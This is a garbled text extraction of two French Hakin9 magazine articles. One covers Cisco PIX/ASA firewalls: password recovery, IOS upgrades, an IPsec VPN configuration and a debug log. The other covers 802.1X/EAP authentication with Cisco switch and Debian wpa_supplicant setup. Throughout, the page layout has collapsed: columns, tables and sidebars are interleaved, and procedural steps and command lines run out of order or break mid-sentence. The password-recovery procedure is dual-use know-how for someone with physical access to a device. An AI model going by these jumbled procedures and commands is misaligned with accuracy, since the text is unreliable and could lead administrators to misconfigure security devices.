et file et enfin tftp afin de transférer l'outil récupération de mots de passe sur le PIX. confirmé avec y. 515E. Enfin pour terminer.255. 525 et 535 supportent la version 7.2.0 255. vous aurez besoin de l'utilitaire Password Lockout Utility afin de réaliser la procédure de récupération. Au fil des versions des fonctionnalités particulièrement intéressantes sont apparues.1. Redémarrer votre ASA et le tour est joué. reste à faire redémarrer votre ASA dans sa configuration normale avec ses nouveaux mots de passe.0 192.1. boot default image from Flash on netboot failure Do you wish to change this configuration? y/n [n]: 1/2009 HAKIN9 55 . validez avec la touche [Y] afin de changer la valeur. éteignez et rallumez l'ASA. Mise à jour de l'IOS Nous allons voir dans cette partie comment réaliser les mises à jour de l'IOS de notre pare-feu. Il convient également de vérifier que vous disposez de suffisamment de flash afin de contenir la nouvelle image. avec un show version assurez-vous d'abord suffisamment de RAM dans votre PIX (Tableau 4).0 de l'IOS.x vers la version ASA 7.255. Au prompt.255.168.0 255.2. utilisez la commande confreg afin d'ignorer la configuration de démarrage.DÉBUTER AVEC UN PARE FEU CISCO vous aurez besoin du câble console.0 access−list nonat permit ip 192. Le message suivant apparaitra : Current Configuration Register: Configuration Summary: 0x00000011 Listing 3 Commande pour réaliser l’interconnexion VPN access−list Siege2Filiale permit ip 192. dès que le message de démarrage apparaît. server.255.2. d'un ordinateur avec un terminal (hyperterminal par exemple) et d' environ dix minutes pendant lesquels le PIX sera hors de service. Tout d'abord. Vous trouverez cet outil sur le site de Cisco. nous allons restaurer la valeur du registre (config-register <valeur _ registre>) que nous avions noté un peu plus haut. Quand les messages de démarrage apparaitront. et bien d'autre. citons entre autre l'outil pour déboguer les ACL packet-tracer permettant de simuler et suivre le cheminement d'un paquet au travers du pare-feu. Vous avez maintenant changez les valeurs. A l'aide des commandes address.0 Mise à jour d'un PIX vers la version ASA Seul les PIX 515.255 isakmp identity address isakmp policy 20 authentication pre−share isakmp policy 20 encryption 3des isakmp policy 20 hash sha isakmp policy 20 group 2 boot TFTP image. enable password . l'outil vous demandera si les mots de passe doivent être écrasés.255. Enregistrez la valeur du registre de configuration afin de pouvoir la restaurer par la suite. Pour commencer. Pour ce faire. La commande copy startup-config running-config va effectuer la copie de votre configuration depuis la mémoire de démarrage (startup).0 nat (inside) 0 access−list nonat sysopt connection permit−ipsec crypto ipsec transform−set ts_filiale esp−3des esp−sha−hmac crypto ipsec security−association lifetime seconds 3600 crypto map VPN-Filiale 20 ipsec−isakmp crypto map VPN-Filiale 20 match address ipsec crypto map VPN-Filiale 20 set peer 10.0 255. appuyez sur la touche Echap. pour ce faire. Il ne vous restera plus qu'à utilisez les commandes passwd et enable password afin de mettre en place vos nouveaux mots de passe. Il ne nous reste plus qu'à charger votre configuration et à changer les mots de passe. consultez le tableau ci-dessous (Tableau 5).1 netmask 255. nous allons faire migrer un PIX de la version 6. Entrez ensuite en mode de configuration à l'aide de configure terminal et changez les mots de passe avec passwd . Le pare-feu chargera alors une configuration par défaut à la place de la configuration de démarrage.255. Au prompt.255. le mot de passe pour les connexions Telnet sera cisco et il n'y aura plus de mot de passe pour entrer en mode privilégié. copier la configuration avec les nouveaux mot de passe dans la startup avec copy running-config startup-config. Une fois copié. Après l'écrasement des mots de passe.168.1 crypto map VPN-Filiale 20 set transform−set ts_filiale crypto map VPN-Filiale interface outside isakmp enable outside isakmp key clefsiege2filiale address 10.2. et username. appuyez sur la combinaison de touche [Ctrl] + [C ] ou [Esc]. le basculement automatique vers un lien de secours en cas de panne ou encore les fonctionnalités de VPN SSL. Accepter ensuite toutes les valeurs par défaut proposés en pressant [Y] sauf celle qui s'intitule disable system configuration. Ces mises à jour vont nous apporter des améliorations et fonctions supplémentaires.0 255.2 avant de procéder à la mise à jour et de respecter les configurations nécessaires. Le prompt du mode monitor s'affiche alors. Pour un ASA Cette procédure permettra de remplacer les mots de passe sur un ASA suite à la perte de ceux-ci.0 192.2. Tout d'abord connectezvous à l'aide du câble console. Ensuite mettez en marche le PIX.255. Utilisez ensuite la commande boot afin de relancer le boitier. Cisco recommande que le PIX soit au minimum en version 6. Ensuite.255.168. Connecter ensuite le PIX à l'ordinateur par l'intermédiaire du câble série et connectez-vous grâce à l'hyperterminal. entrez en mode privilégié à l'aide de la commande enable et valider sans entrer de mot de passe. Une fois chargé.168.255. Téléchargez la version de l'outil correspondant à votre version d'IOS et placez le à la racine de votre serveur TFTP.2.

src= 10.0/0/0 (type=4).IPSEC (validate_proposal_request): proposal part #1.1 OAK_MM exchange ISAKMP (0): processing SA payload. lifedur= 28800s and 4608000kb.1.255. src_proxy= 10. transform= esp−3des esp−sha−hmac. message ID = 0 ISAKMP (0): Checking ISAKMP transform 1 against priority 21 policy ISAKMP: encryption 3DES−CBC ISAKMP: hash SHA ISAKMP: default group 2 ISAKMP: auth pre−share ISAKMP: life type in seconds ISAKMP: life duration (basic) of 3600 ISAKMP (0): atts are acceptable.2.1.2. sa_trans= esp−des esp−md5−hmac .1.0) has spi 183633242 and conn_id 4 and flags 4 lifetime of 3600 seconds lifetime of 4608000 kilobytesIPSEC(key_engine): got a queue event. msg.255.1.255. msg.2. sa_prot= 50. dest= 10. spi= 0x5cfcf6e9(1560082153).1. transform= esp−3des esp−sha−hmac. src_proxy= 10.255.2. message ID = −1448244754 ISAKMP (0): processing NOTIFY payload 96 protocol 3 spi 1510339082. protocol= ESP. Next payload is 0 ISAKMP (0): SA is doing pre−shared key authentication using id type ID_IPV4_ADDR return status is IKMP_NO_ERRORIPSEC(ipsec_encap): crypto map check deny crypto_isakmp_process_block: src 10.2. Assurez-vous que le PIX ne soit pas un point de terminaison d'une connexion PPTP. src_proxy= 10. spi= 0x0(0).2.PRATIQUE La mise à jour de la version 6.) src= 10. sa_spi= 0x5cfcf6e9(1560082153).1. protocol= ESP.2. Exemple de capture de déboguage lors de la création du tunnel VPN ISAKMP (0): beginning Main Mode exchange IPSEC(ipsec_encap): crypto map check deny 02303: sa_request. sa_conn_id= 4 56 HAKIN9 1/2009 .1. message ID = −1448244754 ISAKMP (0): processing responder lifetime ISAKMP (0): responder lifetime of 3600sIPSEC(map_alloc_entry): allocating entry 3 IPSEC(map_alloc_entry): allocating entry 4 ISAKMP (0): Creating IPSec SAs inbound SA from 10.1 (proxy 10. msg. flags= 0x4 return status is IKMP_NO_ERROR602301: sa created.2.1.0) has spi 1560082153 and conn_id 3 and flags 4 lifetime of 3600 seconds lifetime of 4608000 kilobytes outbound SA from 10.255.2. dest_proxy= 192.2.255.1.2. keysize= 0.1. flags= 0x4 IPSEC(initialize_sas):.2.1. message ID = −1448244754 ISAKMP (0): processing ID payload. message ID = 0 ISAKMP (0): processing vendor id payload ISAKMP (0): speaking to another IOS box! ISAKMP (0): ID payload next−payload : 8 type : 1 protocol : 17 port : 500 length : 8 ISAKMP (0): Total payload length: 12 return status is IKMP_NO_ERRORIPSEC(ipsec_encap): crypto map check deny crypto_isakmp_process_block: src 10.0 va demander un peu de travail mais avant de commencer nous devons nous assurer de quelques petites choses : • Assurez-vous de ne pas avoir de commandes conduit ou outbound dans votre configuration.1.2.1 for prot 3 return status is IKMP_NO_ERROR crypto_isakmp_process_block: src 10. message ID = −1448244754 ISAKMP (0): processing ID payload.1.1.1.255. message ID = 0 ISAKMP (0): processing NONCE payload.1.255.0/255. protocol= ESP. lifedur= 0s and 0kb.2. M−ID of −1448244754:a9ad89eeIPSEC(key_engine): got a queue even IPSEC(spi_response): getting spi 0x5cfcf6e9(1560082153) for SA from 10.0/0/0 (type=4).1.2.1.255.1.1. message ID = 0 ISAKMP (0): SA has been authenticated ISAKMP (0): beginning Quick Mode exchange. dest_proxy= 10. flags= 0x4 ISAKMP (0): processing NONCE payload. sa_spi= 0xaf2055a(183633242). dest 10.2.255.2. spi= 0xaf2055a(183633242).2.1 to 10. (key eng.2.1.168.1.0/255.2. ESP_3DES ISAKMP: attributes in transform: ISAKMP: encaps is 1 ISAKMP: SA life type in seconds ISAKMP: SA life duration (basic) of 28800 ISAKMP: SA life type in kilobytes ISAKMP: SA life duration (VPI) of 0x0 0x46 0x50 0x0 ISAKMP: authenticator is HMAC−SHA ISAKMP (0): atts are acceptable.2.1.1.1.1 OAK_MM exchange ISAKMP (0): processing KE payload.2.0/255.1.0. dest 10. conn_id= 3.255. (key eng.1. lifedur= 3600s and 4608000kb. conn_id= 0.2.0/255.255.0/0/0 (type=4).1. keysize= 0.255.1. sa_conn_id= 3 602301: sa created. protocol= ESP.2. (sa) sa_dest= 10.0/255.2. conn_id= 0. dest_proxy= 10.255.1 to 10. dest_proxy= 10.1.. En effet ces commandes ne sont plus présentes • dans la version 7.1.2.0/255. IPSEC(initialize_sas):.1 OAK_QM exchange oakley_process_quick_mode: OAK_QM_IDLE ISAKMP (0): processing SA payload.0/0/0 (type=4).1.1.0/255.1.1. lifedur= 3600s and 4608000kb.2.1. dest 10. msg.x à 7.2.1.) dest= 10.) src= 10.0/0/0 (type=4).1.0 to 10. message ID = −1448244754 ISAKMP : Checking IPSec proposal 1 ISAKMP: transform 1. message ID = 0 ISAKMP (0): processing HASH payload.255.1 (proxy 10.0/0/0 (type=4).168. (key eng. sa_trans= esp−3des esp−sha−hmac .255.1.2.1. sa_prot= 50. conn_id= 4.1 to 10.1 OAK_MM exchange ISAKMP (0): processing ID payload.) dest= 10.1.2.2.0/0/0 (type=4).1.1. (key eng. (sa) sa_dest= 10. dest= 10.2. flags= 0x4004 crypto_isakmp_process_block: src 10. keysize= 0.. transform= esp−3des esp−sha−hmac. dest 10.2. spi= 0x0(0).2.0/255.1.1.0 to 10. Listing 4.2. src= 10. transform= esp−3des esp−sha−hmac.0/0/0 (type=4).1 src_proxy= 192.1. keysize= 0.1.1.

Une fois l'IOS mis à jour. Mémoire nécessaire pour la mise à jour en IOS 8. La mise à jour de votre PIX en version 7. Connectez-vous au PIX en mode monitor à l'aide du cable console (recommandé) afin de visualiser les éventuels messages d'erreur lors du rechargement de la configuration. Ces besoins entrainent des risques importants pour la sécurité et la confidentialité des informations d'une entreprise. A l'issue du redémarrage vous devez copier l'image dans la flash avec la commande copy tftp flash. • interface <numéro_interface> address <adresse_ip_pix> gateway <ip_paserelle> server <adresse_serveur_tftp> file <nom_image_sur_serveur_TFTP> Tableau 5. www.fcug.x Modèle de pare-feu PIX PIX515/515E PIX 525 PIX 535 Mémoire Flash requise pour la version 6. Ensuite Administrateur réseau depuis 3 ans dans une grande association française présente sur l'ensemble du territoire.org – Wikipedia. Télécharger la version 7. il est nécessaire d'être en IOS 7.x vont être convertis pour fonctionner avec la version 7. la mise à disposition de services ou bien encore la communication entre sites géographiques sont des besoins de plus en plus présents au sein des entreprises. le PIX va redémarrer.0 est maintenant accomplie. Ensuite à l'aide de la commande copy tftp flash.DÉBUTER AVEC UN PARE FEU CISCO • Copier les certificats électronique pour les connections VPN sur le PIX avant de débuter la mise à jour.wikipedia. Nous allons Tableau 4. Commencons : • • Placer le binaire de l'IOS 7.com – Site de Cisco. Puis sur l'interface inside assignez une adresse ip.cisco.0 à la racine de votre serveur TFTP. Si vous prévoyez d'utiliser ADSM. Nous serons obligé de faire quelques différences entre le PIX et l'ASA. nous pourrons vérifier que tout à été converti et que rien ne manque. L'utilisation de plus en plus intensive d'Internet. 1/2009 HAKIN9 57 . Ainsi.fr – French Cisco Users Group. Vous aurez la possibilité de consulter les erreurs de configuration par la suite à l'aide de la commande show startup−config errors. copiez le binaire dans la flash et enfin modifiez la commande de chargement de l'IOS depuis le mode de configuration à l'aide de la commande boot system flash:/<nom _ fichier _ ios> . Quantité nécessaire de mémoire Flash pour la mise à jour IOS 7. Pendant le redémarrage suivez bien le chargement et surtout la conversion de la configuration et relevez l'ensemble des messages d'erreur afin de pouvoir résoudre les problèmes rencontrés. • Durant la mise à jour les commandes de la version 6. Une fois ces quelques précautions prises. Tout d'abord. nous pouvons rentrer dans le vif du sujet. il est également nécessaire de vérifier que le fichier de configuration ne dépasse pas une taille de 2MB. Les pare-feux sont donc devenus des outils indispensables dont la maîtrise du fonctionnement est un élément primordial.2 minimum. Dans le cas des PIX 515/515E la taille du fichier de configuration est limité à 1MB. Cisco recommande de limiter la taille du fichier de configuration à 500 KB. prendre la précaution d' effectuer une sauvegarde de notre configuration avec la commande write net . Il est chargé d'assurer l'administration des systèmes et réseaux de l'ensemble de l'association. une passerelle (optionnel) et surtout l'adresse du serveur TFTP à l'aide des commandes suivantes : Sur Internet • • • www. effectuez une sauvegarde de votre configuration puis téléchargez l'image de l'IOS sur le site de Cisco et enregistrez l'image à la racine de votre serveur tftp. Alexandre Chaigneau Logiciel et matériel nécessaires Que vous souhaitez mettre à jour un PIX ou un ASA. Il ne vous reste plus qu'à redémarrer votre pare-feu à l'aide de la commande reload . Conclusion Tableau 7. si ce n'est pas le cas. www.0 depuis le site Cisco. Remarque concernant les PIX Dans le cas des PIX 525 et 535.3 16 Mb 16 Mb 16 Mb • • Tableau 6. Mémoires nécessaire pour la mise à jour en IOS 8.x pour un PIX Modèle de PIX Quantité de mémoire vive requise(MB) 64 Quantité de mémoire flash requise(MB) 16 • PIX 515/ 515E PIX 525 PIX 535 • 128 512 16 16 • Il ne reste plus qu'à lancer la copie avec l'aide de la commande tftp.x vers la version 8. Une fois la copie effectuée.x pour un ASA Modèle ASA 5505 5510 5520 5540 5550 Quantité de mémoire vive nécessaire (MB) 256 256 512 1024 4096 Mise à jour d'une version 7.0.0. commencez par le mettre à jour. Mémoire nécessaire pour mise à jour d’un PIX en fonction de sa licence Licence Restricted PIX 515 / 515E PIX 525 PIX 535 64 MB 128 MB 512 MB Licence Unrestricted 128 MB 256 MB 1 GB consultez le tableau concernant les quantités de mémoire requise (Tableau 6 et Tableau 7).0 Nous allons voir ici comment faire la mise à jour de notre PIX/ASA en version 8. pensez à mettre à jour ADSM si vous souhaitez l'utiliser.

1X via le protocole EAP (Extensible Authentication Protocol). basée sur le profil de l’utilisateur connecté.. 1998 : EAP (RFC2284-3748).1). 2001 : 802. Connaître les commandes de base et le fonctionnement du système CISCO.1X en expliquant tout d'abord son fonctionnement puis sa mise en place sur un commutateur Cisco. 1997-2000 : RADIUS (RFC2058-2138-2865). 58 HAKIN9 1/2009 IEEE 802. Le contrôle des accès au réseau permet d’introduire de nouvelles possibilités : • • • • l’authentification des utilisateurs et/ou des machines se connectant au réseau.. La configuration d'une borne cisco Aironet et d'un client Linux. Connaissance réseau Ethernet TCP/IP. Le modèle et les concepts du standard IEEE Dans le fonctionnement du protocole.1X est un standard de l'IEEE basé sur EAP (RFC 2284 et plus précisément RFC 3748) pour le contrôle d'accès au réseau basé sur les ports. Connaître le fonctionnement d'un serveur RADIUS et le fonctionnement d'un serveur d'autorité de certification. la limitation à tout ou partie du réseau pour certains groupes d’utilisateurs. Configuration d’un client 802. le système authentificateur (authenticator system ou pass-through authenticator) et un serveur d’authentification (authentication server). L CET ARTICLE EXPLIQUE. Avant de continuer. les trois entités qui interagissent sont le système à authentifier (supplicant). .. Ce protocole est aussi utilisé pour certains points d'accès WiFi. 802.1X pour une connexion au réseau Wifi sous MacOS/Windows/Linux es réseaux actuels permettent une très grande mobilité des utilisateurs. Le fonctionnement de l'authentification sur 802. En effet il est très facile pour quelqu’un d’avoir un accès physique et logique au réseau grâce à l’utilisation de technologies telles que DHCP. Les besoins de sécurité posent alors un nouveau challenge : sécuriser toujours plus les accès au réseau tout en gardant cette liberté de mobilité des utilisateurs.PRATIQUE NICOLAS RENARD Fonctionnement et implémentation du protocole 802.1X va permettre de sécuriser l’accès directement au niveau physique du réseau en autorisant ou non un utilisateur à y accéder avant qu’il soit connecté sur celui-ci. l’association de politique de sécurité à des groupes d’utilisateurs. CE QU'IL FAUT SAVOIR. Le fonctionnement du protocole 802. Une fois l’authentification validée. l’association de paramètres additionnels tels que la qualité de service au niveau du port. Il s’agit d’une partie du groupe de protocoles IEEE 802 (802. Son principal avantage est qu’il peut restreindre l’accès des utilisateurs et des équipements non autorisés sur un LAN ou un MAN. quelques repères historiques dans la standardisation : • • • • 1994-2003 : PPP (nombreuses RFC). seul le protocole EAPoL (Extensible Authentication Protocol over Lan) permet la communication entre le commutateur et les autres équipements et les données peuvent transiter en communicant sur le port Ethernet. Ce protocole est basé sur le mode client/serveur et fournit une authentification aux équipements ou utilisateurs connectés à un port Ethernet sur un commutateur.1X.. On va donc lui associer des politiques de sécurité liées à son profil ou à son groupe d’appartenance.1x Degré de difficulté L'objectif de cet article est d'expliquer le processus de connexion d'un client à un réseau sécurisé par le protocole 802.1X.

Les paquets EAP sont transportés dans des trames Ethernet spécifiques appelé EAPOL (EAP Over Lan). Le système à authentifier souhaite accéder à cette ressource. Système à authentifier Système authentificateur Serveur d'authentification Poste de travail Commutateur Ethernet Serveur Radius Automate de demande d'authentifivation Service de relais de trames Ethernet Automate authentificateur Automate serveur d'authentification Trames EAPOL LAN (support physique) Paquets Radius-EAP 1/2009 HAKIN9 59 .1X Le système authentificateur contrôle une ressource disponible via le point d’accès physique au réseau. en dialoguant avec le système à authentifier en fonction du protocole d’authentification utilisé.FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1x EAP Radius traffic Figure 1. dans lesquelles s’ajoutes un numéro de type spécial: 88FE qui va ainsi permettre une encapsulation directement d’EAP dans Ethernet. Le commutateur n’effectuera aucune fonction d’authentification et n’entrera pas dans l’interprétation du protocole EAP pour l’authentification mais se contentera simplement d’extraire l’information EAP de la trame 802. le système authentificateur donne l’accès à la ressource qu’il contrôle. Les trois entités intervenant dans 802. Format d'une Trame EAP. nommé PAE (Port Access Entity). 802.1X.1X Le standard 802. Code 1 octet ID 1 octet Longueur 2 octet Données N octet Dans cette phase d’authentification 802. Le serveur d’authentification va gérer l’authentification proprement dite. Tableau 1. il doit donc pour cela s’authentifier. le système authentificateur se comporte comme un mandataire (proxy) entre le système à authentifier et le serveur d’authentification . si l’authentification réussit. Le dialogue entre le système authentificateur et le système à authentifier se fait en utilisant le protocole EAP (PPP Extensible Authentification Protocol défini par le RFC2284).1x et de la mettre dans une trame Radius en direction du server qui fera l’authentification (Figure 1. 2).1x Switch Host (Supplicant) AAA Server Authentication Server La circulation des informations d’authentification Authenticator 802.1X s'appuie sur les standards déjà existants.

LDAP. Fermeture du port contrôlé explicitement demandée par le système qui s’authentifie. un certain nombre de protocoles EAP existent . une analyse des informations contenues dans les paquets EAPOL est aussi faite afin d’informer le commutateur de l’action à effectuer sur le port : • • Autorisée : Le port est disponible pour le trafic réseau.1X est un standard de l'IEEE pour le contrôle d'accès au réseau basé sur les ports Requests For Comment. sont une série numérotée de documents électroniques documentant les aspects techniques d’Internet. OBDC. • • RADIUS LDAP EAP IEEE 802.PRATIQUE Aujourd’hui. EAPTTLS. Système à authentifier. Extensible Authentication Protocol over Lan. mais seulement de relayer l’information. si l’authentification échoue. OTP). PEAP. Tableau 2. Extensible Authentication Protocol. EAP-Tunneled Transport Layer Security Protected Extensible Authentication Protocol ou Protected EAP. qui permet d'établir une connexion de type liaison entre deux hôtes sur une liaison point à point. EAP-FAST. Service d’annuaire de Microsoft. À l’inverse. Le dialogue entre le système authentificateur et le serveur d’authentification va se faire par une « ré-encapsulation » des paquets EAP afin d’être compris par le serveur d’authentification. mais si le client réussit l’authentification. il est autorisé à se connecter au réseau (le port passe dans l’état up). Ce protocole repose sur TCP/IP. incluant un modèle de données. Authentification explicitement demandée par le système qui s’authentifie. l’authentification est réussie. fonctionnel et un modèle de sécurité et de réplication. est un protocole de transmission pour l'internet. Système authentificateur. One Time Password. Littéralement demande de commentaires. non autorisée : Le port est désactivé pour tout trafic réseau. Il a cependant évolué pour représenter une norme pour les systèmes d'annuaires. si toutefois il ne le supporte pas. Les principales différences entre ces protocoles concernent essentiellement le type d’authentification utilisé (Utilisateur/mot de passe. il conviendra de contrôler la compatibilité du serveur Radius et du supplicant sur les ordinateurs clients avec ce protocole.1X RFC EAPoL Supplicant Authenticator system Authentication server PAE OTP AD EAP-TTLS PEAP EAP-Packet EAP-Start EAP-Logoff 60 HAKIN9 1/2009 . Tableau des terminologies Termes PPP Définitions Point to Point Protocol. le port reste bloqué. Paquet de dialogue EAP. Solution d'authentification utilisant des mots de passe à usage unique. Il fait partie de la couche de liaison (couche 2) du modèle OSI. force-unauthorized : Le port reste bloqué même si l’authentification a réussi. fortement basé sur HDLC. le client sera connecté à un réseau restreint (Guest –VLAN). Protocole client-serveur permettant de centraliser des données d'authentification Lightweight Directory Access Protocol est à l'origine un protocole permettant l'interrogation et la modification des services d'annuaire. nommage. EAP-MD5. Serveur d’authentification Radius par exemple. Permet la communication entre le commutateur et les autres équipements et les données peuvent transiter en communicant sur le port Ethernet. Port Access Entity. Remote Authentication Dial-In User Service. certificat. LEAP. auto : L’interface a le statut bloqué par défaut (seules les trames EAPOL* sont autorisées à transiter).1x standard. Mécanisme d'identification universel IEEE 802. Le commutateur n’ayant pas besoin de dialoguer en EAP. Trois autres états existent : • Force-authorized : Si le client supporte le 802. décrit par le standard RFC 1661. Cependant. de protocoles etc. En voici quelques uns : EAP-TLS. la possibilité d’utiliser un tunnel chiffré pour les échanges d’authentification ainsi que la possibilité pour le ser veur Radius de relayer l’authentification à des serveurs tiers externes (AD. NDS…) Une fois le protocole EAP choisi. Active Directory.

un nom de login. Il existe quatre types de paquets EAP qui ont été définit par le RFC2284. PEAP (Protected Extensible Authentication Protocol ou Protected EAP) a été développé conjointement par Microsoft. Cependant. Son principal défaut est de ne pas être supporté nativement sur les systèmes Microsoft et Cisco.1x or EAP Port NOT authorized! EAP 802. Par exemple : • Identity : chaîne de caractères identifiant l’utilisateur (une adresse mail. • Les trames EAP et EAPOL Les trames EAP : Voici le format général d’un paquet EAP (Tableau 1). failure : le paquet Failure est émis en cas d’échec de l’authentification. • Il existe à l’heure actuelle deux versions de PEAP Certifiées WPA (mise à jour) et WPA2 : • • PEAPv0/EAP-MS-CHAPv2.1X Les différents types de protocoles EAP • La seconde va permettre l'identification du client au travers du tunnel précédemment créé. il utilise un certificat client et ser veur pour l’établissement du tunnel sécurisé. la création d’un certificat pour chaque utilisateur devient difficile à gérer. Il est très similaire au protocole EAP-TTLS et permet une identification sécurisée via deux phases : • La première permet l'identification du serveur grâce à une infrastructure à clés publiques. RSA Security et Cisco Systems. without 802.1x 802. • response : réponse au paquet Request émit par l’authentificateur par le serveur d’authentification. success : le paquet Success est émis en cas de réussite de l’authentification. la création d'un tunnel sécurisé permettra de chiffrer l’identification. EAP-MD5 est un standard ouvert IETF. Un champ supplémentaire (type) apparaît pour les paquets de type Request ou Response afin de définir la nature des informations contenues dans celui-ci.11 802. et co-développé par Funk Software et Certicom.3 EAPOL Logoff Figure 3. dans le cas d’un parc de machine trop important. EAP-TLS (Figure 3) est un Standard ouvert IETF considéré comme le successeur du standard SSL et représente le seul protocole EAP qui doit obligatoirement être implanté sur un matériel pour disposer du logo WPA ou WPA2. • Supplicant EAPOL Start Authenticator Authentication Server EAP Request [A Identity] EAP Response [S Identity] EAP Request [OTP: OTP Challenge] EAP EAP Request [OTP: OTP Password] EAP Success Port authorized! EAPMD5 EAPTLS EAPTTLS PEAP LEAP Öthers Ordinary traffic flow. Le champ ID est utilisé pour identifier la session d’authentification en cours. mais il offre un niveau de sécurité faible du fait que le hachage MD5 est vulnérable. notification : chaîne de caractères envoyée à l’utilisateur final.FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802. Une fois le serveur identifié.). PEAPv1/EAP-GTC. qui indiquent le statut du paquet au niveau du champ code de la trame EAP : • Request : Une requête d’information est émise par le système authentificateur. EAP-TTLS (EAP-Tunneled Transport Layer Security) est un standard ouvert IETF. etc. Côté sécurité. Encapsulation et protocoles EAP Figure 4. C’est pourquoi les protocoles PEAP et EAP-TTLS ont été créés afin d’utiliser seulement un certificat pour le ser veur. Déroulement de l'authentification d'un utilisateur 1/2009 HAKIN9 61 . Ce protocole utilise des certificats X-509 uniquement sur le serveur d'identification.

fr/index.faqs. SwitchHakin9(config)# dot1x re authenticate interface fastethernet 0/1 host {hostname | ip-address} Cette commande permet de forcer une ré-authentification sur un port précis. On peut également réaliser cette commande en deux étapes : WifiHakin9 (config)# radius-server host WifiHakin9 (config)# radius-server key motdepasse {hostname | ip-address} Permet d’afficher des statistiques pour toutes les interfaces ou une interface précise.PRATIQUE • • • • nak : refus d’un type d’authentification et proposition d’un autre.. Création d’une liste de méthodes : WifiHakin9(config)# aaa authentication dot1x {default} method1 [method2.org/rfcs/rfc3580. Commandes facultatives : WifiHakin9 (config)# dot1x reWifiHakin9 (config)# dot1x timeout re-authperiod 4000 authentication • • • control auto|force-authorized| Exemple de configuration Trois types d’authentification dot1x sont possibles : force-authorized. Entrez dans la configuration d’une interface et activez au niveau de cette interface l’authentification dot1x : WifiHakin9(config-if)# dot1x portforce-unauthorized même(s) commande(s) précédée(s) de no. MD5-Challenge : défi (challenge) ou réponse (idem authentification Chap).cisco. La valeur par défaut étant de 3600 secondes.univ-st-etienne.1x se fait avec la même commande précédée d’un no : WifiHakin9(config)# no aaa {default} Configuration d’un client 802. forceunauthorized.1x_sous_Linux http://criterdoc.univ-mlv.3/Ethernet MAC.1X pour une connexion au réseau WiFi sous Debian L'authentification se fera grâce au protocole EAP-TTLS/PAP et le cryptage des données par les protocoles WPA2/ AES.1x_sous_Windows_XP http://fr. (Nous ne détaillerons ici que la configuration sous Linux).com/web/FR/solutions/CiscoMag/2008/06.html http://cri. il est nécessaire d’installer les packages : authentication dot1x method1 [method2.php/Connexion_WIFI_802. none...org/ RFC2284: PPP Extensible Authentication Protocol (EAP) RFC2865 à RFC2869: Radius http://www..fr/index. La désactivation de l’authentification 802. permettra une authentification avec tous les serveurs RADIUS joignable.org/ Les trames EAPOL : L’encapsulation EAPOL est définie pour les trois types de réseaux suivants : 802.jres.fr/wifi/html/conf-802. one-Time-Password : défi ou réponse. Installation : Tout d’abord. WifiHakin9# show dot1x statistics WifiHakin9# show dot1x statistics interface fastethernet 0/1 Le mot clé {default} (optionnel). EAP-Start : authentification explicitement demandée par le système qui s’authentifie. EAP-Logoff : fermeture du port contrôlé explicitement demandée par le système qui s’authentifie.ietf.1x-windows-XP. Sur Internet • • • • • • • • • • • http://2003. Si l’on spécifie plusieurs serveurs RADIUS.] Configuration du switch vers le serveur d’authentification RADIUS En mode de configuration globale. • L’auth-port par défaut est le 1812 (en UDP). permet d’appliquer la méthode à toutes les interfaces. Deux types de méthodes existent : • group radius. on utilise la/les 62 HAKIN9 1/2009 .html http://criterdoc. Aucune authentification ne sera utilisée. Configuration d’un commutateur Cisco.] Pour supprimer une entrée vers un serveur RADIUS.html http://www.wikipedia.org/wiki/Extensible_Authentication_Protocol#EAP-TLS Cursus Cisco Network Security 1 http://www. 802.5/Token Ring et FDDI/MAC et peuvent être de quatre types : • • EAP-Packet : paquet de dialogue EAP.11). le commutateur commencera par tenter de se connecter au serveur RADIUS ajouté en premier. EAPOL-Encapsulated-ASF-Alert. L’activation de l’authentification sur le commutateur se fait avec la commande aaa new-model en mode de configuration globale.univ-st-etienne. La key correspond au mot de passe qui doit être identique à celui du serveur d’authentification. generic Token Ring Card : défi ou réponse. auto.php/Connexion_WIFI_802. EAPOL-Key : si chiffrement disponible (ex 802. entrez cette commande : WifiHakin9 (config)# radius-server auth-port port-number key motdepasse Ces deux commandes permettent d’obliger le client connecté de se reconnecter (première commande) au bout du temps définie dans la seconde commande.

0.462 GHz Bit Rate:48 Mb/s Tx-Power=20 dBm Sensitivity=8/0 Retry limit:7 RTS thr:off Fragment thr:off Encryption key:XXXX-XXXX-XXXXXXXX-XXXX-XXXX-XXXXPower Management:off XXXX Security mode:open Link Quality=36/100 Signal 802. Il faut faire attention au fait que 802.] eth1 Lien encap:Ethernet HWaddr 00:15: 22:3B:B4:5F inet adr: 192.168.com 1/2009 HAKIN9 63 .1 Bcast: 192.1X aptitude install wpasupplicant wpagui wireless-tools wpa_supplicant -c/etc/wpa_ supplicant/wpa_supplicant. Il peut-être vulnérable à un pirate qui aurait accès aux matériels physiques de l'entreprise et qui pourrait alors connecter un hub afin d'utiliser un port ouvert par un utilisateur autorisé. Ensuite connectez-vous au réseau WiFi souhaité et acceptez le certificat proposé par l’autorité de certification.conf On vérifie la connexion au point d'accès WiFi: Iwconfig eth1 ctrl_interface=/var/run/wpa_supplicant ctrl_interface_group=dialout network={ ssid="Hakin9-802. mot de passe. l'auteur est passionné de sécurité informatique. cat ac-racine. par exemple. Dans l’onglet 802.1X pour une connexion au réseau WiFi sous MacOS/Windows Maintenant il suffit d’obtenir une adresse IP via DHCP: dhclient eth1 On vérifie que l'adresse est bien acquise : Configuration : La première étape consiste à récupérer les certificats ac-racine et ac-serveur de l'autorité de certification afin d’assurer que votre passeport (identifiant/mot de passe) est bien envoyé au serveur d'authentification et non pas à une borne pirate. PPP) .0.1X " Access Point: 00:11:22:33:44:55 password="xxxxxxx" certs/cachain. conf –ieth1 -Dwext –w • • • Wireless-tools : contient les outils iwconfig et iwlist permettant la gestion du WiFi. } Lancement de wpa_supplicant Vérifier tout d’abord quelle est l’interface réseau qui correspond à votre interface WiFi. Sélectionnez le menu Airport puis Ouvrir Préférences Réseau Avancé. wpasupplicant : Client d'accès au supplicant..255. De nombreux tutoriaux sont disponibles sur Internet. 255. cd /etc/wpa_supplicant/certs ifconfig [.9 MiB) TX Interruption:10 Adresse de base: 0x2000 Mémoire:c8206000 -c8206fff bytes:607389 (593. Nous vous proposons un très bien fait en référence.. type d’authentification ainsi que le SSID.1X ayant été crée au départ pour des connexions de type physique (RTC.FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.11g ESSID:" Hakin9Mode:Managed Frequency:2. wpagui : Interface graphique d'accès aux réseaux WiFi.168.pem http-passwd=xxxxxx ‘chemin Sous MacOs. 